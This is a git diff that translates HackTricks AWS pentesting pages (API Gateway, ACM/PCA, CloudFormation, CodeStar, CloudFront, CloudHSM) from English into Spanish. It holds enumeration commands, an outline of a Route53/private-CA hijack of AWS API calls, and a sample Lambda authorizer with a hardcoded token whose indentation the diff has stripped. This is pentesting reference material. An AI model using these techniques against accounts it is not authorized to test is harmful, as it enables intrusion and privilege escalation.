Certificate Manager**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** en la cuenta, y las instancias de EC2 en el/los VPC(s) deben haber importado ya los certificados para confiar en ella. Con esta infraestructura en su lugar, se puede realizar el siguiente ataque para interceptar el tráfico de la API de AWS. -Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` +Otros permisos **recomendados pero no requeridos para la parte de enumeración**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions. +Suponiendo que hay un VPC de AWS con múltiples aplicaciones nativas de la nube comunicándose entre sí y con la API de AWS. Dado que la comunicación entre los microservicios está a menudo cifrada con TLS, debe haber una CA privada para emitir los certificados válidos para esos servicios. **Si se utiliza ACM-PCA** para eso y el adversario logra obtener **acceso para controlar tanto route53 como la CA privada de acm-pca** con el conjunto mínimo de permisos descritos anteriormente, puede **secuestrar las llamadas de la aplicación a la API de AWS** apoderándose de sus permisos de IAM. -This is possible because: +Esto es posible porque: -- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names -- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names +- Los SDK de AWS no tienen [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- Route53 permite crear Zonas Privadas y registros DNS para los nombres de dominio de las APIs de AWS +- La CA privada en ACM-PCA no puede ser restringida a firmar solo certificados para Nombres Comunes específicos -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Impacto Potencial:** Privesc indirecto al interceptar información sensible en el tráfico. -#### Exploitation +#### Explotación -Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) +Encuentra los pasos de explotación en la investigación original: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index dddd8ac04..e682a82ee 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -1,35 +1,31 @@ -# AWS - Services +# AWS - Servicios {{#include ../../../banners/hacktricks-training.md}} -## Types of services +## Tipos de servicios -### Container services +### Servicios de contenedores -Services that fall under container services have the following characteristics: +Los servicios que caen bajo los servicios de contenedores tienen las siguientes características: -- The service itself runs on **separate infrastructure instances**, such as EC2. -- **AWS** is responsible for **managing the operating system and the platform**. -- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. -- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. -- Also, platform-level identity and access management where it exists. -- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +- El servicio en sí se ejecuta en **instancias de infraestructura separadas**, como EC2. +- **AWS** es responsable de **gestionar el sistema operativo y la plataforma**. +- Se proporciona un servicio administrado por AWS, que es típicamente el servicio en sí para la **aplicación real que se ve como contenedores**. +- Como usuario de estos servicios de contenedores, tienes una serie de responsabilidades de gestión y seguridad, incluyendo **gestionar la seguridad del acceso a la red, como las reglas de listas de control de acceso a la red y cualquier firewall**. +- También, gestión de identidad y acceso a nivel de plataforma donde exista. +- **Ejemplos** de servicios de contenedores de AWS incluyen Relational Database Service, Elastic Mapreduce y Elastic Beanstalk. -### Abstract Services +### Servicios Abstractos -- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. -- The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **underlying infrastructure, operating system, and platform is managed by AWS**. -- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. -- **Data is isolated via security mechanisms**. -- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +- Estos servicios están **eliminados, abstraídos, de la plataforma o capa de gestión sobre la que se construyen las aplicaciones en la nube**. +- Los servicios se acceden a través de puntos finales utilizando interfaces de programación de aplicaciones de AWS, APIs. +- La **infraestructura subyacente, el sistema operativo y la plataforma son gestionados por AWS**. +- Los servicios abstractos proporcionan una plataforma de multi-inquilinos sobre la que se comparte la infraestructura subyacente. +- **Los datos están aislados a través de mecanismos de seguridad**. +- Los servicios abstractos tienen una fuerte integración con IAM, y **ejemplos** de servicios abstractos incluyen S3, DynamoDB, Amazon Glacier y SQS. -## Services Enumeration +## Enumeración de Servicios -**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** +**Las páginas de esta sección están ordenadas por servicio de AWS. Allí podrás encontrar información sobre el servicio (cómo funciona y capacidades) y eso te permitirá escalar privilegios.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 09aa42d7c..582792654 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -4,40 +4,39 @@ ## API Gateway -### Basic Information +### Información Básica -AWS API Gateway is a comprehensive service offered by Amazon Web Services (AWS) designed for developers to **create, publish, and oversee APIs on a large scale**. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application. +AWS API Gateway es un servicio integral ofrecido por Amazon Web Services (AWS) diseñado para que los desarrolladores **crean, publican y supervisan APIs a gran escala**. Funciona como un punto de entrada a una aplicación, permitiendo a los desarrolladores establecer un marco de reglas y procedimientos. Este marco regula el acceso que los usuarios externos tienen a ciertos datos o funcionalidades dentro de la aplicación. -API Gateway enables you to define **how requests to your APIs should be handled**, and it can create custom API endpoints with specific methods (e.g., GET, POST, PUT, DELETE) and resources. It can also generate client SDKs (Software Development Kits) to make it easier for developers to call your APIs from their applications. +API Gateway te permite definir **cómo deben manejarse las solicitudes a tus APIs**, y puede crear puntos finales de API personalizados con métodos específicos (por ejemplo, GET, POST, PUT, DELETE) y recursos. También puede generar SDKs de cliente (Kits de Desarrollo de Software) para facilitar a los desarrolladores la llamada a tus APIs desde sus aplicaciones. -### API Gateways Types +### Tipos de API Gateways -- **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends. -- **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services. -- **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services. -- **REST API Private**: Create a REST API that is only accessible from within a VPC. +- **HTTP API**: Crea APIs REST de baja latencia y costo efectivo con características integradas como OIDC y OAuth2, y soporte nativo para CORS. Funciona con lo siguiente: Lambda, backends HTTP. +- **WebSocket API**: Crea una API WebSocket utilizando conexiones persistentes para casos de uso en tiempo real como aplicaciones de chat o paneles de control. Funciona con lo siguiente: Lambda, HTTP, Servicios de AWS. +- **REST API**: Desarrolla una API REST donde obtienes control total sobre la solicitud y la respuesta junto con capacidades de gestión de API. Funciona con lo siguiente: Lambda, HTTP, Servicios de AWS. +- **REST API Privada**: Crea una API REST que solo es accesible desde dentro de un VPC. -### API Gateway Main Components +### Componentes Principales de API Gateway -1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}. -2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage. - - The stage is indicated at the beggining of the URL of the API Gateway endpoint. -3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**. -4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API. - - In order to make effect the API needs to be **deployed again after** the resource policy is modified. +1. **Recursos**: En API Gateway, los recursos son los componentes que **constituyen la estructura de tu API**. Representan **los diferentes caminos o puntos finales** de tu API y corresponden a las diversas acciones que tu API admite. Un recurso es cada método (por ejemplo, GET, POST, PUT, DELETE) **dentro de cada camino** (/, o /users, o /user/{id}). +2. **Etapas**: Las etapas en API Gateway representan **diferentes versiones o entornos** de tu API, como desarrollo, pruebas o producción. Puedes usar etapas para gestionar y desplegar **múltiples versiones de tu API simultáneamente**, permitiéndote probar nuevas características o correcciones de errores sin afectar el entorno de producción. Las etapas también **soportan variables de etapa**, que son pares clave-valor que se pueden usar para configurar el comportamiento de tu API según la etapa actual. Por ejemplo, podrías usar variables de etapa para dirigir las solicitudes de API a diferentes funciones Lambda u otros servicios de backend dependiendo de la etapa. +- La etapa se indica al principio de la URL del punto final de API Gateway. +3. **Autorizadores**: Los autorizadores en API Gateway son responsables de **controlar el acceso a tu API** verificando la identidad del llamador antes de permitir que la solicitud continúe. Puedes usar **funciones de AWS Lambda** como autorizadores personalizados, lo que te permite implementar tu propia lógica de autenticación y autorización. Cuando llega una solicitud, API Gateway pasa el token de autorización de la solicitud al autorizador Lambda, que procesa el token y devuelve una política IAM que determina qué acciones se le permite realizar al llamador. API Gateway también admite **autorizadores integrados**, como **AWS Identity and Access Management (IAM)** y **Amazon Cognito**. +4. **Política de Recursos**: Una política de recursos en API Gateway es un documento JSON que **define los permisos para acceder a tu API**. Es similar a una política IAM pero específicamente adaptada para API Gateway. Puedes usar una política de recursos para controlar quién puede acceder a tu API, qué métodos pueden llamar y desde qué direcciones IP o VPCs pueden conectarse. **Las políticas de recursos se pueden usar en combinación con autorizadores** para proporcionar un control de acceso detallado para tu API. +- Para que tenga efecto, la API necesita ser **desplegada nuevamente después** de que se modifique la política de recursos. -### Logging +### Registro -By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and **X-Ray tracing** is also **off**. +Por defecto, **CloudWatch Logs** están **desactivados**, **Access Logging** está **desactivado**, y **X-Ray tracing** también está **desactivado**. -### Enumeration +### Enumeración > [!TIP] -> Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.** +> Ten en cuenta que en ambas APIs de AWS para enumerar recursos (**`apigateway`** y **`apigatewayv2`**) el único permiso que necesitas y el único permiso de lectura que se puede otorgar es **`apigateway:GET`**, con eso puedes **enumerar todo.** {{#tabs }} {{#tab name="apigateway" }} - ```bash # Generic info aws apigateway get-account @@ -78,11 +77,9 @@ aws apigateway get-usage-plan-key --usage-plan-id --key-id ###Already consumed aws apigateway get-usage --usage-plan-id --start-date 2023-07-01 --end-date 2023-07-12 ``` - {{#endtab }} {{#tab name="apigatewayv2" }} - ```bash # Generic info aws apigatewayv2 get-domain-names @@ -124,49 +121,43 @@ aws apigatewayv2 get-models --api-id ## Call API https://.execute-api..amazonaws.com// ``` - {{#endtab }} {{#endtabs }} -## Different Authorizations to access API Gateway endpoints +## Diferentes Autorizaciones para acceder a los endpoints de API Gateway -### Resource Policy +### Política de Recursos -It's possible to use resource policies to define who could call the API endpoints.\ -In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET. +Es posible utilizar políticas de recursos para definir quién puede llamar a los endpoints de la API.\ +En el siguiente ejemplo puedes ver que la **IP indicada no puede llamar** al endpoint `/resource_policy` a través de GET.
-### IAM Authorizer +### Autenticador IAM -It's possible to set that a methods inside a path (a resource) requires IAM authentication to call it. +Es posible establecer que un método dentro de una ruta (un recurso) requiera autenticación IAM para ser llamado.
-When this is set you will receive the error `{"message":"Missing Authentication Token"}` when you try to reach the endpoint without any authorization. - -One easy way to generate the expected token by the application is to use **curl**. +Cuando esto está configurado, recibirás el error `{"message":"Missing Authentication Token"}` cuando intentes acceder al endpoint sin ninguna autorización. +Una forma fácil de generar el token esperado por la aplicación es usar **curl**. ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` - -Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**. +Otra forma es usar el tipo **`Authorization`** **`AWS Signature`** dentro de **Postman**.
-Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint. - -Both methods will generate an **Authorization** **header** such as: +Configura el accessKey y el SecretKey de la cuenta que deseas usar y podrás autenticarte contra el endpoint de la API. +Ambos métodos generarán un **Authorization** **header** como: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` - -Note that in other cases the **Authorizer** might have been **bad coded** and just sending **anything** inside the **Authorization header** will **allow to see the hidden content**. +Nota que en otros casos el **Authorizer** podría haber sido **mal codificado** y simplemente enviar **cualquier cosa** dentro del **Authorization header** permitirá **ver el contenido oculto**. ### Request Signing Using Python - ```python pip install requests @@ -193,86 +184,83 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` +### Autorizador Lambda Personalizado -### Custom Lambda Authorizer - -It's possible to use a lambda that based in a given token will **return an IAM policy** indicating if the user is **authorized to call the API endpoint**.\ -You can set each resource method that will be using the authoriser. +Es posible usar un lambda que, basado en un token dado, **devuelva una política IAM** indicando si el usuario está **autorizado para llamar al endpoint de la API**.\ +Puedes establecer cada método de recurso que utilizará el autorizador.
-Lambda Authorizer Code Example - +Ejemplo de Código del Autorizador Lambda ```python import json def lambda_handler(event, context): - token = event['authorizationToken'] - method_arn = event['methodArn'] +token = event['authorizationToken'] +method_arn = event['methodArn'] - if not token: - return { - 'statusCode': 401, - 'body': 'Unauthorized' - } +if not token: +return { +'statusCode': 401, +'body': 'Unauthorized' +} - try: - # Replace this with your own token validation logic - if token == "your-secret-token": - return generate_policy('user', 'Allow', method_arn) - else: - return generate_policy('user', 'Deny', method_arn) - except Exception as e: - print(e) - return { - 'statusCode': 500, - 'body': 'Internal Server Error' - } +try: +# Replace this with your own token validation logic +if token == "your-secret-token": +return generate_policy('user', 'Allow', method_arn) +else: +return generate_policy('user', 'Deny', method_arn) +except Exception as e: +print(e) +return { +'statusCode': 500, +'body': 'Internal Server Error' +} def generate_policy(principal_id, effect, resource): - policy = { - 'principalId': principal_id, - 'policyDocument': { - 'Version': '2012-10-17', - 'Statement': [ - { - 'Action': 'execute-api:Invoke', - 'Effect': effect, - 'Resource': resource - } - ] - } - } - return policy +policy = { +'principalId': principal_id, +'policyDocument': { +'Version': '2012-10-17', +'Statement': [ +{ +'Action': 'execute-api:Invoke', +'Effect': effect, +'Resource': resource +} +] +} +} +return policy ``` -
-Call it with something like: +Llámalo con algo como:
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 
> [!WARNING] -> Depending on the Lambda code, this authorization might be vulnerable +> Dependiendo del código de Lambda, esta autorización podría ser vulnerable -Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +Ten en cuenta que si se **genera y devuelve una política de denegación**, el error devuelto por API Gateway es: `{"Message":"User is not authorized to access this resource with an explicit deny"}` -This way you could **identify this authorization** being in place. +De esta manera podrías **identificar esta autorización** en su lugar. -### Required API Key +### Clave API Requerida -It's possible to set API endpoints that **require a valid API key** to contact it. +Es posible establecer puntos finales de API que **requieren una clave API válida** para contactarlos.
-It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month). +Es posible generar claves API en el portal de API Gateway e incluso establecer cuánto se pueden usar (en términos de solicitudes por segundo y en términos de solicitudes por mes). -To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key: +Para que una clave API funcione, necesitas agregarla a un **Plan de Uso**, este plan de uso debe ser agregado a la **Etapa de API** y la etapa de API asociada necesita tener configurado un **throttling de método** para el **punto final** que requiere la clave API:
-## Unauthenticated Access +## Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -284,20 +272,16 @@ To make an API key work, you need to add it to a **Usage Plan**, this usage plan ../aws-privilege-escalation/aws-apigateway-privesc.md {{#endref}} -## Post Exploitation +## Post Explotación {{#ref}} ../aws-post-exploitation/aws-api-gateway-post-exploitation.md {{#endref}} -## Persistence +## Persistencia {{#ref}} ../aws-persistence/aws-api-gateway-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 0f3da9d50..d0a8f2a43 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -**AWS Certificate Manager (ACM)** is provided as a service aimed at streamlining the **provisioning, management, and deployment of SSL/TLS certificates** for AWS services and internal resources. The necessity for manual processes, such as purchasing, uploading, and certificate renewals, is **eliminated** by ACM. This allows users to efficiently request and implement certificates on various AWS resources including **Elastic Load Balancers, Amazon CloudFront distributions, and APIs on API Gateway**. +**AWS Certificate Manager (ACM)** se ofrece como un servicio destinado a simplificar la **provisión, gestión y despliegue de certificados SSL/TLS** para servicios de AWS y recursos internos. La necesidad de procesos manuales, como la compra, carga y renovaciones de certificados, es **eliminada** por ACM. Esto permite a los usuarios solicitar e implementar certificados de manera eficiente en varios recursos de AWS, incluyendo **Elastic Load Balancers, distribuciones de Amazon CloudFront y APIs en API Gateway**. -A key feature of ACM is the **automatic renewal of certificates**, significantly reducing the management overhead. Furthermore, ACM supports the creation and centralized management of **private certificates for internal use**. Although SSL/TLS certificates for integrated AWS services like Elastic Load Balancing, Amazon CloudFront, and Amazon API Gateway are provided at no extra cost through ACM, users are responsible for the costs associated with the AWS resources utilized by their applications and a monthly fee for each **private Certificate Authority (CA)** and private certificates used outside integrated ACM services. +Una característica clave de ACM es la **renovación automática de certificados**, lo que reduce significativamente la carga de gestión. Además, ACM admite la creación y gestión centralizada de **certificados privados para uso interno**. Aunque los certificados SSL/TLS para servicios integrados de AWS como Elastic Load Balancing, Amazon CloudFront y Amazon API Gateway se proporcionan sin costo adicional a través de ACM, los usuarios son responsables de los costos asociados con los recursos de AWS utilizados por sus aplicaciones y una tarifa mensual por cada **Autoridad de Certificación (CA) privada** y certificados privados utilizados fuera de los servicios integrados de ACM. -**AWS Private Certificate Authority** is offered as a **managed private CA service**, enhancing ACM's capabilities by extending certificate management to include private certificates. These private certificates are instrumental in authenticating resources within an organization. +**AWS Private Certificate Authority** se ofrece como un **servicio de CA privada gestionada**, mejorando las capacidades de ACM al extender la gestión de certificados para incluir certificados privados. Estos certificados privados son fundamentales para autenticar recursos dentro de una organización. -## Enumeration +## Enumeración ### ACM - ```bash # List certificates aws acm list-certificates @@ -27,9 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce # Account configuration aws acm get-account-configuration ``` - -### PCM - +### PCA ```bash # List CAs aws acm-pca list-certificate-authorities @@ -49,7 +46,6 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn # Get CA Policy (if any) aws acm-pca get-policy --resource-arn ``` - ## Privesc TODO @@ -59,7 +55,3 @@ TODO TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 66539b87d..6ca5282f4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,10 +4,9 @@ ## CloudFormation -AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure. +AWS CloudFormation es un servicio diseñado para **agilizar la gestión de recursos de AWS**. Permite a los usuarios centrarse más en sus aplicaciones que se ejecutan en AWS al **minimizar el tiempo dedicado a la gestión de recursos**. La característica principal de este servicio es la **plantilla**—un modelo descriptivo de los recursos de AWS deseados. Una vez que se proporciona esta plantilla, CloudFormation es responsable de la **provisión y configuración** de los recursos especificados. Esta automatización facilita una gestión más eficiente y libre de errores de la infraestructura de AWS. ### Enumeration - ```bash # Stacks aws cloudformation list-stacks @@ -30,10 +29,9 @@ aws cloudformation list-stack-instances --stack-set-name aws cloudformation list-stack-set-operations --stack-set-name aws cloudformation list-stack-set-operation-results --stack-set-name --operation-id ``` - ### Privesc -In the following page you can check how to **abuse cloudformation permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de cloudformation para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -41,14 +39,13 @@ In the following page you can check how to **abuse cloudformation permissions to ### Post-Exploitation -Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation +Verifica si hay **secretos** o información sensible en la **plantilla, parámetros y salida** de cada CloudFormation ## Codestar -AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members). +AWS CodeStar es un servicio para crear, gestionar y trabajar con proyectos de desarrollo de software en AWS. Puedes desarrollar, construir y desplegar aplicaciones rápidamente en AWS con un proyecto de AWS CodeStar. Un proyecto de AWS CodeStar crea e **integra servicios de AWS** para tu cadena de herramientas de desarrollo de proyectos. Dependiendo de tu elección de plantilla de proyecto de AWS CodeStar, esa cadena de herramientas podría incluir control de versiones, construcción, despliegue, servidores virtuales o recursos sin servidor, y más. AWS CodeStar también **gestiona los permisos requeridos para los usuarios del proyecto** (llamados miembros del equipo). ### Enumeration - ```bash # Get projects information aws codestar list-projects @@ -56,24 +53,19 @@ aws codestar describe-project --id aws codestar list-resources --project-id aws codestar list-team-members --project-id - aws codestar list-user-profiles - aws codestar describe-user-profile --user-arn +aws codestar list-user-profiles +aws codestar describe-user-profile --user-arn ``` - ### Privesc -In the following page you can check how to **abuse codestar permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de codestar para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ {{#endref}} -## References +## Referencias - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 75613cdb4..bda113974 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,20 +4,19 @@ ## CloudFront -CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3. +CloudFront es la **red de entrega de contenido de AWS que acelera la distribución** de tu contenido estático y dinámico a través de su red mundial de ubicaciones de borde. Cuando utilizas un contenido de solicitud que estás alojando a través de Amazon CloudFront, la solicitud se enruta a la ubicación de borde más cercana, lo que proporciona la menor latencia para ofrecer el mejor rendimiento. Cuando **los registros de acceso de CloudFront** están habilitados, puedes registrar la solicitud de cada usuario que solicita acceso a tu sitio web y distribución. Al igual que con los registros de acceso de S3, estos registros también son **almacenados en Amazon S3 para un almacenamiento duradero y persistente**. No hay cargos por habilitar el registro en sí, sin embargo, como los registros se almacenan en S3, se te cobrará por el almacenamiento utilizado por S3. -The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**. +Los archivos de registro capturan datos durante un período de tiempo y la cantidad de solicitudes que recibe Amazon CloudFront para esa distribución dependerá de la cantidad de archivos de registro que se generen. Es importante saber que estos archivos de registro no se crean ni se escriben en S3. S3 es simplemente donde se entregan una vez que el archivo de registro está completo. **Amazon CloudFront retiene estos registros hasta que están listos para ser entregados a S3**. Nuevamente, dependiendo del tamaño de estos archivos de registro, esta entrega puede tardar **entre una y 24 horas**. -**By default cookie logging is disabled** but you can enable it. +**Por defecto, el registro de cookies está deshabilitado** pero puedes habilitarlo. ### Functions -You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS). +Puedes crear funciones en CloudFront. Estas funciones tendrán su **punto final en cloudfront** definido y ejecutarán un **código NodeJS** declarado. Este código se ejecutará dentro de un **sandbox** en una máquina que funciona bajo una máquina administrada por AWS (necesitarías un bypass de sandbox para lograr escapar al sistema operativo subyacente). -As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature. +Como las funciones no se ejecutan en la cuenta de AWS del usuario, no se adjunta ningún rol de IAM, por lo que no es posible un privilegio de escalada directo abusando de esta función. ### Enumeration - ```bash aws cloudfront list-distributions aws cloudfront get-distribution --id # Just get 1 @@ -28,21 +27,16 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` - -## Unauthenticated Access +## Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## Post Exploitation +## Post Explotación {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 55216fa7e..d09ed9c53 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -2,70 +2,64 @@ {{#include ../../../banners/hacktricks-training.md}} -## HSM - Hardware Security Module +## HSM - Módulo de Seguridad de Hardware -Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. +Cloud HSM es un **dispositivo de hardware** validado a nivel dos FIPS 140 para el almacenamiento seguro de claves criptográficas (tenga en cuenta que CloudHSM es un dispositivo de hardware, no es un servicio virtualizado). Es un dispositivo SafeNetLuna 7000 con 5.3.13 preinstalado. Hay dos versiones de firmware y cuál elija realmente depende de sus necesidades exactas. Una es para el cumplimiento de FIPS 140-2 y había una versión más nueva que se puede usar. -The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads +La característica inusual de CloudHSM es que es un dispositivo físico, y por lo tanto **no se comparte con otros clientes**, o como se denomina comúnmente, multi-tenant. Es un dispositivo de un solo inquilino dedicado exclusivamente a sus cargas de trabajo. -Typically, a device is available within 15 